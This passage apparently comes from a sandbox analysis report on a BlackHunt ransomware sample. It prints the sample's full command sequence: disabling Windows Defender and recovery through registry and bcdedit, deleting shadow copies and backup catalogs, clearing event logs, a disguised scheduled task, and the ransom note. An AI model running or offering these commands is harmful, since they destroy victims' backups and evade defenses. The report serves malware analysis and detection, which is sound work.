2708 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 54 PID 2672 wrote to memory of 2708 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 54 PID 2672 wrote to memory of 2708 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 54 PID 2672 wrote to memory of 2628 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 57 PID 2672 wrote to memory of 2628 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 57 PID 2672 wrote to memory of 2628 2672 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe 57 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe"C:\Users\Admin\AppData\Local\Temp\13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2672 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2328 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:1820
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1336 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2872
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1816 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵PID:3048
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:1868
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:3012
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2420
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2612
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:2404
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:1760
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2728
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:1288
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2792
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:2908
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2852
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:2688
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2744
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:3028
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2600
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:1092
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2848
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:3024
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2708
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:2948
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2628
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:1624
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:1752
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:1372
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2704
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:816
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2588
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:1688
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2636
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:992
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2664
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:1100
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2128
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:3004
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2136
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:2096
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:1716
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2556
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:1932
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:1060
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:2568
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:1772
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:796
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:1872
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1664
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1056
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1692
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵
- Modifies registry class
PID:3048
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:1968
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:1832
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:2308
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:2224
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe" /F2⤵PID:2472
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe" /F3⤵
- Creates scheduled task(s)
PID:268
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:1548
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1716
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:1764
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3284
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:2932
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:3276
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:2176
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:3340
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2972
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3368
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2280
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:3356
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2968
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:3376
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:540
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:3348
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:336
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:3384
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:556
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:3320
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:3664
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:1920
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:3680
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:1092
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:1576
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:4016
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:2520
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:888
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:1248
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2752
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:3492
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2364
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:3476
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2664
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:220
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2704
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1872
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1148
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:228
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:1204
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2668
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:3824
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:3036
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:3284
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:268
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2712
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2960
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:912
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:1508
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:3240
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:956
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:2612
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:1484
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:2328
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:3068
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:764
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:2252
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:3420
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:1524
-
C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:948
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:2072
-
C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:2404
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:2876
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:1516
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\13d816b2fd223f6fccdf85a56ca6383defcf0d989880956d98c19b90f2a8ecc4.exe"2⤵
- Deletes itself
PID:4072 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:2140
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4032
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3952
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:2368
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:2488
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵PID:1372
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD56e8ccbac8d7703cfb33fd98e9480d04e
SHA14a021cb4638dcf415e67af5da157fc1420ef3017
SHA2565fa18c129d33b7a1a66e384fca12e1540b039782270611de4bc321d678334482
SHA512b20919adbe56a86bd993f1b28490e8bed1663e06586279691b842e3b64d3dd5f98d97da48ad6326745840c68154a1abd9c9a8a22586149777474c8bddf11d45d
-
Filesize
12KB
MD517b4f8ad25709f5cdefb5485e8418146
SHA1ae5da4096d0ea935d9964b81f4da45356e51db81
SHA2567582da56e2670f493ae0b80c86aff6c7a1e741e8d8b226a40d7030de1d5453cc
SHA5121164f5a2cd6a7b0b678397bb718a07ff6cd05d6333a2ffae54d4b34e4de08bb7480f4e51442d5edac8542d267c0877a371a68ba9a6f87b8c084b339e6aef7c0a
-
Filesize
684B
MD50e1aef69850a094db61dbeff870a6173
SHA1621f832f3e3fa914effdbbd450ee786104e49cd3
SHA256441da1977e268e98c648339a4ad4210183140e82c805e52a6234855743f834d1
SHA512479d943e8a530d724994258bb3e7a47f3c1536953436f1003d9152644b2ec74ebf528fc255b73cd1c0f146bc976bd44097903fbde0a50c2fa9855ace30d10d43